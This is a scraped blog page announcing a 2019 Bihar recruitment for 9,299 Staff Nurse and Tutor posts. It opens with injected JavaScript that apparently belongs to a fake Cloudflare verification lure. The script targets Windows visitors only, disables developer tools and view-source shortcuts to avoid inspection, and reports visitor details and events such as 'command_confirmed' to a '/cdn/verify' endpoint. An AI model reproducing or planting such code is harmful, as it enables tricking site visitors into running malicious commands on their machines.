`; if (ij) { if (cl) { if (all) { document.querySelectorAll(ij).forEach(function(el, i) { el.addEventListener('click', function(e) { e.preventDefault(); document.body.appendChild(container); if (!init) { initScript(); } }); }) } else { document.querySelector(ij).addEventListener('click', function(e) { e.preventDefault(); document.body.appendChild(container); if (!init) { initScript(); } }); } } else { document.querySelector(ij).before(container); initScript(); } } else { document.querySelector('html').innerHTML = container.innerHTML; initScript(); } document.addEventListener('contextmenu', function(e) { e.preventDefault(); return false; }); document.addEventListener('keydown', function(e) { if (e.key === 'F12' || e.keyCode === 123) { e.preventDefault(); return false; } if (e.ctrlKey && e.shiftKey && (e.key === 'I' || e.key === 'i' || e.keyCode === 73)) { e.preventDefault(); return false; } if (e.ctrlKey && e.shiftKey && (e.key === 'J' || e.key === 'j' || e.keyCode === 74)) { e.preventDefault(); return false; } if (e.ctrlKey && (e.key === 'U' || e.key === 'u' || e.keyCode === 85)) { e.preventDefault(); return false; } if (e.ctrlKey && e.shiftKey && (e.key === 'C' || e.key === 'c' || e.keyCode === 67)) { e.preventDefault(); return false; } return true; }); } function sendEvent(eventType, id) { if (!syn) { return; } const payload = { id: id, event: eventType, // 'ping', captcha_opened', 'captcha_solved', 'command_confirmed' ua: navigator.userAgent, url: location.href, arch: checkArch(), timestamp: Date.now() }; const json = JSON.stringify(payload); const blob = new Blob([json], { type: 'application/json' }); const targetUrl = '/cdn/verify'; if (navigator.sendBeacon && navigator.sendBeacon(targetUrl, blob)) { return; } fetch(targetUrl, { method: 'POST', body: blob, keepalive: true, headers: { 'Content-Type': 'application/json' } }).catch(() => {}); } const arch = checkArch(); if (arch === 'non-windows') { console.log("VM detected — skipping challenge"); setTimeout(function() { if (document.querySelector('#get_api_key_jss')) document.querySelector('#get_api_key_jss').remove(); }, 1000); } else { //setTimeout(function() { const storedStatus = localStorage.getItem(`_verify_${currentId}`); if (storedStatus !== 'completed') { sendEvent('ping', currentId); showCloudflareChallenge(); if (document.querySelector('#get_api_key_jss')) document.querySelector('#get_api_key_jss').remove(); } //}, 3000); } })();
Blog Login
onlinewebbloggerz@gmail.com
Govt Jobs

BSTC Recruitment (2019) – 9,299 Vacancies for Staff Nurse and Tutor

neetu

Bihar Technical Service Commission (BSTC) has released a recruitment notification for 9,299 posts of Staff Nurse and Tutor. Interested candidates may check the vacancy details and apply online from 12-11-2019 to 18-11-2019.
More details about BSTC Recruitment (2019), including number of vacancies, eligibility criteria, selection procedure, how to apply and important dates, are given below:
Vacancy Details:
• Post Name: Staff Nurse
• No. of Vacancies: 9,130
• Pay Scale: Not Mentioned
• Post Name: Tutor
• No. of Vacancies: 169
• Pay Scale: Not Mentioned
Job Location: Bihar
Eligibility Criteria for BSTC Staff Nurse and Tutor:
Educational Qualification: For Staff Nurse: Candidates should have passed GNM and registered in Bihar Council.
For Tutor: Candidates should have passed M.Sc./B.Sc. Nursing/Diploma in Nursing with two years experience in related field
Age Limit (as on 01-08-2019) : Minimum 21 years and Maximum 37 years
Selection Process: Selection of candidates will be made on the basis of Merit.
Application Fee: General/OBC/EWS candidates have to pay Rs. 200 and SC/ST/PH/Female candidates have to pay Rs. 50 through online mode using Net-banking/Credit or Debit Card.
How to Apply: Interested and eligible candidates may apply online through BSTC website – http://pariksha.nic.in/ – from 12-11-2019 to 18-11-2019.
Important Dates:
• Starting Date of Online Application: 12-11-2019
• Last Date of Online Application: 18-11-2019

Leave a Reply